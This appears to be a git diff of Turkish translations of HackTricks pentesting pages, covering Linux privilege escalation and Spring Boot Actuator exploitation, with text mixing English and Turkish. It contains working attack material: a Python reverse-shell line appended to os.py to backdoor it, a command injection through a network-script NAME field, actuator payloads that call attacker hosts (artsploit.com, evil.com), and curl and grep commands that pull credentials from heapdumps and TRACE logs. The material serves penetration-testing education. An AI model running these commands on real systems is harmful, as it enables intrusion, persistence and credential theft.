[https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). ```bash aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g" grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ``` -Logları **okumak için** [**adm**](interesting-groups-linux-pe/index.html#adm-group) grubu çok yardımcı olacaktır. +Günlükleri **okumak için grup** [**adm**](interesting-groups-linux-pe/index.html#adm-group) çok yardımcı olacaktır. ### Shell dosyaları ```bash @@ -1325,43 +1349,43 @@ Logları **okumak için** [**adm**](interesting-groups-linux-pe/index.html#adm-g ``` ### Generic Creds Search/Regex -Dosya isimlerinde veya içeriklerinde "**password**" kelimesini içeren dosyaları da kontrol etmelisiniz; ayrıca loglarda IP'leri ve e-postaları veya hash'ler için regexp'leri de kontrol edin.\ -Burada bunların tamamının nasıl yapılacağını tek tek listelemeyeceğim ama ilgileniyorsanız [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh)'in yaptığı son kontrolleri inceleyebilirsiniz. +Ayrıca dosya adında veya içeriğinde "**password**" kelimesini içeren dosyaları kontrol etmelisiniz, ve ayrıca loglar içinde IPs ve emails veya hashes regexps arayın.\ +Burada tüm bunların nasıl yapılacağını listelemeyeceğim; ilgileniyorsanız [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) tarafından yapılan son kontrolleri inceleyebilirsiniz. -## Writable files +## Yazılabilir dosyalar ### Python library hijacking -Eğer bir python scriptinin **nereden** çalıştırılacağını biliyorsanız ve o klasöre **yazabiliyorsanız** ya da **python kütüphanelerini değiştirebiliyorsanız**, OS library'yi değiştirip arka kapı yerleştirebilirsiniz (python scriptinin çalıştırılacağı yere yazabiliyorsanız, os.py kütüphanesini kopyalayıp yapıştırın). +Eğer bir python scriptinin nereden çalıştırılacağını biliyorsanız ve o klasöre yazabiliyorsanız ya da python libraries üzerinde değişiklik yapabiliyorsanız, OS library'yi değiştirip backdoorlayabilirsiniz (python scriptinin çalıştırılacağı yere yazabiliyorsanız, os.py kütüphanesini kopyalayıp yapıştırın). -Kütüphaneyi **backdoor the library** yapmak için os.py kütüphanesinin sonuna aşağıdaki satırı ekleyin (IP ve PORT'u değiştirin): +To **backdoor the library** just add at the end of the os.py library the following line (change IP and PORT): ```python import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); ``` -### Logrotate exploitation +### Logrotate istismarı -`logrotate`'deki bir zafiyet, bir log dosyasına veya üst dizinlerine **yazma izinlerine** sahip kullanıcıların potansiyel olarak ayrıcalık yükseltmesine imkan verir. Bunun nedeni, sıklıkla **root** olarak çalışan `logrotate`'in özellikle _**/etc/bash_completion.d/**_ gibi dizinlerde rastgele dosyaları çalıştıracak şekilde manipüle edilebilmesidir. İzinleri yalnızca _/var/log_ içinde değil, log rotasyonunun uygulandığı tüm dizinlerde kontrol etmek önemlidir. +A vulnerability in `logrotate` lets users with **write permissions** on a log file or its parent directories potentially gain escalated privileges. This is because `logrotate`, often running as **root**, can be manipulated to execute arbitrary files, especially in directories like _**/etc/bash_completion.d/**_. It's important to check permissions not just in _/var/log_ but also in any directory where log rotation is applied. > [!TIP] -> Bu zafiyet `logrotate` sürüm `3.18.0` ve daha eski sürümleri etkiler +> Bu zafiyet `logrotate` sürüm `3.18.0` ve önceki sürümleri etkiler -Zafiyetle ilgili daha ayrıntılı bilgi şu sayfada bulunabilir: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). +More detailed information about the vulnerability can be found on this page: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). -Bu zafiyeti [**logrotten**](https://github.com/whotwagner/logrotten) ile istismar edebilirsiniz. +You can exploit this vulnerability with [**logrotten**](https://github.com/whotwagner/logrotten). -Bu zafiyet [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** ile çok benzerdir; bu yüzden logs'u değiştirebildiğinizi tespit ettiğiniz her durumda, bu logs'ları kimlerin yönettiğini kontrol edin ve logs'ları symlink ile değiştirerek ayrıcalık yükseltmesi yapıp yapamayacağınızı inceleyin. +This vulnerability is very similar to [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** so whenever you find that you can alter logs, check who is managing those logs and check if you can escalate privileges substituting the logs by symlinks. ### /etc/sysconfig/network-scripts/ (Centos/Redhat) -**Zafiyet referansı:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) +**Vulnerability reference:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) -Herhangi bir sebeple bir kullanıcı _/etc/sysconfig/network-scripts_ dizinine `ifcf-` adlı bir script **yazabiliyor** veya mevcut bir scripti **düzenleyebiliyorsa**, sisteminiz **pwned** olur. +Herhangi bir nedenle bir kullanıcı _/etc/sysconfig/network-scripts_ dizinine `ifcf-` adlı bir script **yazabiliyor** ya da mevcut bir scripti **düzenleyebiliyorsa**, sisteminiz **pwned** olur. -Network scriptleri, örneğin _ifcg-eth0_, ağ bağlantıları için kullanılır. Tamamen .INI dosyalarına benzer görünürler. Ancak Linux'ta Network Manager (dispatcher.d) tarafından \~sourced\~ edilirler. +Network scriptleri, _ifcg-eth0_ örneğin, ağ bağlantıları için kullanılır. Tam olarak .INI dosyalarına benzerler. Ancak Linux'ta Network Manager (dispatcher.d) tarafından \~sourced\~ edilirler. -Benim durumumda, bu network scriptlerinde `NAME=` ile verilen değer doğru şekilde işlenmiyor. İsimde **boşluk olduğunda sistem boşluktan sonraki kısmı çalıştırmaya çalışıyor**. Bu da **ilk boşluktan sonraki her şeyin root olarak çalıştırıldığı** anlamına geliyor. +Benim durumumda, bu network scriptlerinde `NAME=` özniteliği doğru işlenmiyor. Eğer isimde **boşluk varsa sistem boşluktan sonraki kısmı çalıştırmaya çalışıyor**. Bu, **ilk boşluktan sonraki her şeyin root olarak çalıştırıldığı** anlamına geliyor. -For example: _/etc/sysconfig/network-scripts/ifcfg-1337_ +Örneğin: _/etc/sysconfig/network-scripts/ifcfg-1337_ ```bash NAME=Network /bin/id ONBOOT=yes @@ -1369,15 +1393,15 @@ DEVICE=eth0 ``` (_Network ile /bin/id arasındaki boşluğa dikkat edin_) -### **init, init.d, systemd, and rc.d** +### **init, init.d, systemd, ve rc.d** -Dizin `/etc/init.d`, System V init (SysVinit) için **betikler** barındırır; bu, **klasik Linux servis yönetim sistemi**'dir. Servisleri `start`, `stop`, `restart` ve bazen `reload` etmek için betikler içerir. Bunlar doğrudan veya `/etc/rc?.d/` içinde bulunan sembolik linkler aracılığıyla çalıştırılabilir. Redhat sistemlerinde alternatif bir yol `/etc/rc.d/init.d`'dir. +The directory `/etc/init.d` is home to **betikler** for System V init (SysVinit), the **klasik Linux servis yönetim sistemi**. It includes scripts to `start`, `stop`, `restart`, and sometimes `reload` services. These can be executed directly or through symbolic links found in `/etc/rc?.d/`. An alternative path in Redhat systems is `/etc/rc.d/init.d`. -Öte yandan, `/etc/init` **Upstart** ile ilişkilidir; Ubuntu tarafından getirilen daha yeni bir **service management** yaklaşımı olup servis yönetimi görevleri için yapılandırma dosyaları kullanır. Upstart'e geçişe rağmen, Upstart'teki uyumluluk katmanı nedeniyle SysVinit betikleri hâlâ Upstart yapılandırmalarıyla birlikte kullanılmaktadır. +On the other hand, `/etc/init` is associated with **Upstart**, a newer **servis yönetimi** introduced by Ubuntu, using configuration files for service management tasks. Despite the transition to Upstart, SysVinit scripts are still utilized alongside Upstart configurations due to a compatibility layer in Upstart. -**systemd** modern bir initialization ve servis yöneticisi olarak öne çıkar; talebe bağlı daemon başlatma, automount yönetimi ve sistem durumunun anlık görüntülerini alma gibi gelişmiş özellikler sunar. Dosyaları dağıtım paketleri için `/usr/lib/systemd/` ve yönetici değişiklikleri için `/etc/systemd/system/` dizinlerine ayırarak sistem yönetimini sadeleştirir. +**systemd** emerges as a modern initialization and service manager, offering advanced features such as on-demand daemon starting, automount management, and system state snapshots. It organizes files into `/usr/lib/systemd/` for distribution packages and `/etc/systemd/system/` for administrator modifications, streamlining the system administration process. -## Other Tricks +## Diğer Taktikler ### NFS Privilege escalation @@ -1402,37 +1426,38 @@ cisco-vmanage.md ## Android rooting frameworks: manager-channel abuse -Android rooting frameworks genellikle privileged kernel functionality'yi userspace bir manager'a açmak için bir syscall'e hook koyarlar. Zayıf manager doğrulaması (örn. FD-order'a dayanan imza kontrolleri veya zayıf parola şemaları), yerel bir uygulamanın manager'ı taklit ederek zaten-root'lanmış cihazlarda root'a yükselmesine olanak tanıyabilir. Daha fazla bilgi ve exploitation detayları için: +Android rooting frameworks commonly hook a syscall to expose privileged kernel functionality to a userspace manager. Weak manager authentication (e.g., signature checks based on FD-order or poor password schemes) can enable a local app to impersonate the manager and escalate to root on already-rooted devices. Daha fazla bilgi ve istismar detayları için: + {{#ref}} android-rooting-frameworks-manager-auth-bypass-syscall-hook.md {{#endref}} -## Kernel Security Protections +## Çekirdek Güvenlik Koruması - [https://github.com/a13xp0p0v/kconfig-hardened-check](https://github.com/a13xp0p0v/kconfig-hardened-check) - [https://github.com/a13xp0p0v/linux-kernel-defence-map](https://github.com/a13xp0p0v/linux-kernel-defence-map) -## More help +## Daha fazla yardım [Static impacket binaries](https://github.com/ropnop/impacket_static_binaries) ## Linux/Unix Privesc Tools -### **Linux yerel privilege escalation vektörlerini aramak için en iyi araç:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) +### **Best tool to look for Linux local privilege escalation vectors:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) **LinEnum**: [https://github.com/rebootuser/LinEnum](https://github.com/rebootuser/LinEnum)(-t option)\ **Enumy**: [https://github.com/luke-goddard/enumy](https://github.com/luke-goddard/enumy)\ **Unix Privesc Check:** [http://pentestmonkey.net/tools/audit/unix-privesc-check](http://pentestmonkey.net/tools/audit/unix-privesc-check)\ **Linux Priv Checker:** [www.securitysift.com/download/linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py)\ **BeeRoot:** [https://github.com/AlessandroZ/BeRoot/tree/master/Linux](https://github.com/AlessandroZ/BeRoot/tree/master/Linux)\ -**Kernelpop:** Linux ve MAC'te kernel zafiyetlerini enumerate eder [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ +**Kernelpop:** Enumerate kernel vulns ins linux and MAC [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ **Mestaploit:** _**multi/recon/local_exploit_suggester**_\ **Linux Exploit Suggester:** [https://github.com/mzet-/linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester)\ **EvilAbigail (physical access):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\ **Recopilation of more scripts**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) -## References +## Referanslar - [https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/) - [https://payatu.com/guide-linux-privilege-escalation/](https://payatu.com/guide-linux-privilege-escalation/) @@ -1451,6 +1476,7 @@ android-rooting-frameworks-manager-auth-bypass-syscall-hook.md - [https://linuxconfig.org/how-to-manage-acls-on-linux](https://linuxconfig.org/how-to-manage-acls-on-linux) - [https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) - [https://www.linode.com/docs/guides/what-is-systemd/](https://www.linode.com/docs/guides/what-is-systemd/) - +- [0xdf – HTB Eureka (bash arithmetic injection via logs, overall chain)](https://0xdf.gitlab.io/2025/08/30/htb-eureka.html) +- [GNU Bash Reference Manual – Shell Arithmetic](https://www.gnu.org/software/bash/manual/bash.html#Shell-Arithmetic) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/spring-actuators.md b/src/network-services-pentesting/pentesting-web/spring-actuators.md index d58eab02c..5d9a3f7e7 100644 --- a/src/network-services-pentesting/pentesting-web/spring-actuators.md +++ b/src/network-services-pentesting/pentesting-web/spring-actuators.md @@ -8,28 +8,28 @@ **From** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png) -## Spring Boot Actuator'ları Sömürme +## Spring Boot Actuator'larının İstismarı -**Orijinal gönderiyi kontrol edin** \[**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**] +**Orijinal gönderiyi şuradan kontrol edin:** \[**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**] ### **Ana Noktalar:** -- Spring Boot Actuator'ları `/health`, `/trace`, `/beans`, `/env` gibi uç noktaları kaydeder. 1 ile 1.4 sürümleri arasında bu uç noktalar kimlik doğrulama olmadan erişilebilir. 1.5 sürümünden itibaren yalnızca `/health` ve `/info` varsayılan olarak hassas değildir, ancak geliştiriciler genellikle bu güvenliği devre dışı bırakır. -- Belirli Actuator uç noktaları hassas verileri açığa çıkarabilir veya zararlı eylemlere izin verebilir: -- `/dump`, `/trace`, `/logfile`, `/shutdown`, `/mappings`, `/env`, `/actuator/env`, `/restart` ve `/heapdump`. -- Spring Boot 1.x'te, actuator'lar kök URL altında kaydedilirken, 2.x'te `/actuator/` temel yolu altındadır. +- Spring Boot Actuators, `/health`, `/trace`, `/beans`, `/env` gibi endpoint'leri kaydeder. 1 ile 1.4 sürümlerinde bu endpoint'ler kimlik doğrulama olmadan erişilebilirdir. 1.5 ve sonrasında varsayılan olarak yalnızca `/health` ve `/info` hassas olmayan olarak bırakılır, ancak geliştiriciler genellikle bu güvenliği devre dışı bırakır. +- Bazı Actuator endpoint'leri hassas verileri açığa çıkarabilir veya zararlı işlemlere izin verebilir: +- `/dump`, `/trace`, `/logfile`, `/shutdown`, `/mappings`, `/env`, `/actuator/env`, `/restart`, ve `/heapdump`. +- Spring Boot 1.x'te actuator'lar kök URL altında kayıtlıyken, 2.x'te `/actuator/` temel yolu altındadır. -### **Sömürü Teknikleri:** +### **İstismar Teknikleri:** -1. **'/jolokia' Üzerinden Uzaktan Kod Çalıştırma**: -- `/jolokia` actuator uç noktası, MBean'lere HTTP erişimi sağlayan Jolokia Kütüphanesini açığa çıkarır. -- `reloadByURL` eylemi, dış bir URL'den günlük yapılandırmalarını yeniden yüklemek için sömürülebilir; bu, kör XXE veya özel XML yapılandırmaları aracılığıyla Uzaktan Kod Çalıştırma ile sonuçlanabilir. -- Örnek sömürü URL'si: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`. -2. **'/env' Üzerinden Yapılandırma Değişikliği**: +1. **Remote Code Execution via '/jolokia'**: +- `/jolokia` actuator endpoint'i, Jolokia Library'yi açığa çıkarır ve bu, MBean'lere HTTP ile erişim sağlar. +- `reloadByURL` action'ı, harici bir URL'den logging konfigürasyonlarını yeniden yüklemek için suistimal edilebilir; bu, hazırlanmış XML konfigürasyonları üzerinden blind XXE veya Remote Code Execution'a yol açabilir. +- Örnek exploit URL: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`. +2. **Konfigürasyon Değişikliği via '/env'**: -- Spring Cloud Kütüphaneleri mevcutsa, `/env` uç noktası çevresel özelliklerin değiştirilmesine izin verir. -- Özellikler, Eureka serviceURL'deki XStream deserialization açığını sömürmek gibi zafiyetleri istismar etmek için manipüle edilebilir. -- Örnek sömürü POST isteği: +- Eğer Spring Cloud Libraries mevcutsa, `/env` endpoint'i çevresel özelliklerin değiştirilmesine izin verir. +- Özellikler, Eureka serviceURL'deki XStream deserialization açığı gibi zayıflıkları istismar etmek için manipüle edilebilir. +- Örnek exploit POST isteği: ``` POST /env HTTP/1.1 @@ -40,25 +40,101 @@ Content-Length: 65 eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream ``` -3. **Diğer Kullanışlı Ayarlar**: -- `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url` ve `spring.datasource.tomcat.max-active` gibi özellikler, SQL enjeksiyonu veya veritabanı bağlantı dizelerini değiştirme gibi çeşitli sömürüler için manipüle edilebilir. +3. **Diğer Faydalı Ayarlar**: +- `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url` ve `spring.datasource.tomcat.max-active` gibi özellikler, SQL injection veya veritabanı bağlantı stringlerini değiştirme gibi çeşitli istismarlar için manipüle edilebilir. ### **Ek Bilgiler:** - Varsayılan actuator'ların kapsamlı bir listesi [burada](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt) bulunabilir. -- Spring Boot 2.x'teki `/env` uç noktası, özellik değişikliği için JSON formatını kullanır, ancak genel kavram aynı kalır. +- Spring Boot 2.x'teki `/env` endpoint'i, özellik değişiklikleri için JSON formatı kullanır; fakat genel konsept aynıdır. ### **İlgili Konular:** 1. **Env + H2 RCE**: -- `/env` uç noktası ve H2 veritabanının kombinasyonunu sömürme detayları [burada](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database) bulunabilir. +- `/env` endpoint'i ile H2 veritabanının kombinasyonunun nasıl istismar edileceğine dair detaylar [burada](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database) bulunabilir. -2. **Yanlış Yol Adı Yorumlaması Üzerinden Spring Boot'ta SSRF**: -- Spring çerçevesinin HTTP yol adlarındaki matris parametrelerini (`;`) ele alması, Sunucu Tarafı İstek Sahteciliği (SSRF) için sömürülebilir. -- Örnek sömürü isteği: +2. **SSRF on Spring Boot Through Incorrect Pathname Interpretation**: +- Spring framework'ünün HTTP yol adlarındaki matrix parametrelerini (`;`) işlemesi, Server-Side Request Forgery (SSRF) için kullanılabilir. +- Örnek exploit isteği: ```http GET ;@evil.com/url HTTP/1.1 Host: target.com Connection: close ``` +## HeapDump ile gizli bilgilerin çıkarılması (credentials, tokens, internal URLs) + +Eğer `/actuator/heapdump` açık durumdaysa, genellikle canlı gizli bilgileri içeren tam bir JVM heap snapshot'ı alabilirsiniz (DB creds, API anahtarları, Basic-Auth, dahili servis URL'leri, Spring property map'leri vb.). + +- İndir ve hızlı ön inceleme: +```bash +wget http://target/actuator/heapdump -O heapdump +# Quick wins: look for HTTP auth and JDBC +strings -a heapdump | grep -nE 'Authorization: Basic|jdbc:|password=|spring\.datasource|eureka\.client' +# Decode any Basic credentials you find +printf %s 'RXhhbXBsZUJhc2U2NEhlcmU=' | base64 -d +``` + +- Daha derin analiz için VisualVM ve OQL: +- Heapdump'ı VisualVM ile açın, `java.lang.String` örneklerini inceleyin veya gizli bilgileri aramak için OQL çalıştırın: +``` +select s.toString() +from java.lang.String s +where /Authorization: Basic|jdbc:|password=|spring\.datasource|eureka\.client|OriginTrackedMapPropertySource/i.test(s.toString()) +``` + +- JDumpSpider ile otomatik çıkarım: +```bash +java -jar JDumpSpider-*.jar heapdump +``` +Tipik yüksek değerli bulgular: +- `DataSourceProperties` / `HikariDataSource` gibi Spring nesneleri `url`, `username`, `password` bilgilerini açığa çıkarabilir. +- `OriginTrackedMapPropertySource` girdileri `management.endpoints.web.exposure.include`, servis portları ve URL'lerde gömülü Basic-Auth (ör. Eureka `defaultZone`) gibi bilgileri ifşa edebilir. +- Bellekte yakalanmış `Authorization: Basic ...` içeren düz HTTP istek/yanıt parçaları. + +İpuçları: +- Actuator endpoint'lerini hızlıca keşfetmek için Spring odaklı bir wordlist kullanın (ör. SecLists spring-boot.txt) ve her zaman `/actuator/logfile`, `/actuator/httpexchanges`, `/actuator/env` ve `/actuator/configprops`'un da açık olup olmadığını kontrol edin. +- Heapdump'tan elde edilen credentials genellikle bitişik servisler için ve bazen sistem kullanıcıları (SSH) için de çalışır; bu yüzden genişçe deneyin. + + +## Actuator loggers/logging'i kötüye kullanarak kimlik bilgilerini yakalama + +Eğer `management.endpoints.web.exposure.include` izin veriyorsa ve `/actuator/loggers` açık durumdaysa, kimlik doğrulama ve istek işleme paketleri için log seviyesini dinamik olarak DEBUG/TRACE seviyesine çıkarabilirsiniz. `/actuator/logfile` veya bilinen log yolları üzerinden okunabilir loglarla birleştirildiğinde, bu login akışları sırasında gönderilen kimlik bilgileri (ör. Basic-Auth header'ları veya form parametreleri) sızdırılabilir. + +- Duyarlı logları listeleyin ve yükseltin: +```bash +# List available loggers +curl -s http://target/actuator/loggers | jq . + +# Enable very verbose logs for security/web stacks (adjust as needed) +curl -s -X POST http://target/actuator/loggers/org.springframework.security \ +-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}' +curl -s -X POST http://target/actuator/loggers/org.springframework.web \ +-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}' +curl -s -X POST http://target/actuator/loggers/org.springframework.cloud.gateway \ +-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}' +``` + +- Logların nerede yazıldığını bulun ve toplayın: +```bash +# If exposed, read from Actuator directly +curl -s http://target/actuator/logfile | strings | grep -nE 'Authorization:|username=|password=' + +# Otherwise, query env/config to locate file path +curl -s http://target/actuator/env | jq '.propertySources[].properties | to_entries[] | select(.key|test("^logging\\.(file|path)"))' +``` + +- Login/authentication trafiğini tetikleyin ve logları kimlik bilgileri için parse edin. Gateway ile önüne konulan auth içeren mikroservis kurulumlarında, gateway/security paketleri için TRACE etkinleştirmek genellikle header'ları ve form gövdelerini görünür kılar. Bazı ortamlar periyodik olarak sentetik login trafiği bile üretebilir; logging verbose hale geldiğinde bu tür verilerin toplanması çok kolay olabilir. + +Notlar: +- İşiniz bittiğinde log seviyelerini sıfırlayın: `POST /actuator/loggers/` ile `{ "configuredLevel": null }`. +- Eğer `/actuator/httpexchanges` açık ise, hassas header'ları içerebilecek son istek meta verilerini de gösterebilir. + + +## Referanslar + +- [Exploring Spring Boot Actuator Misconfigurations (Wiz)](https://www.wiz.io/blog/spring-boot-actuator-misconfigurations) +- [VisualVM](https://visualvm.github.io/) +- [JDumpSpider](https://github.com/whwlsfb/JDumpSpider) +- [0xdf – HTB Eureka (Actuator heapdump to creds, Gateway logging abuse)](https://0xdf.gitlab.io/2025/08/30/htb-eureka.html) + {{#include ../../banners/hacktricks-training.md}}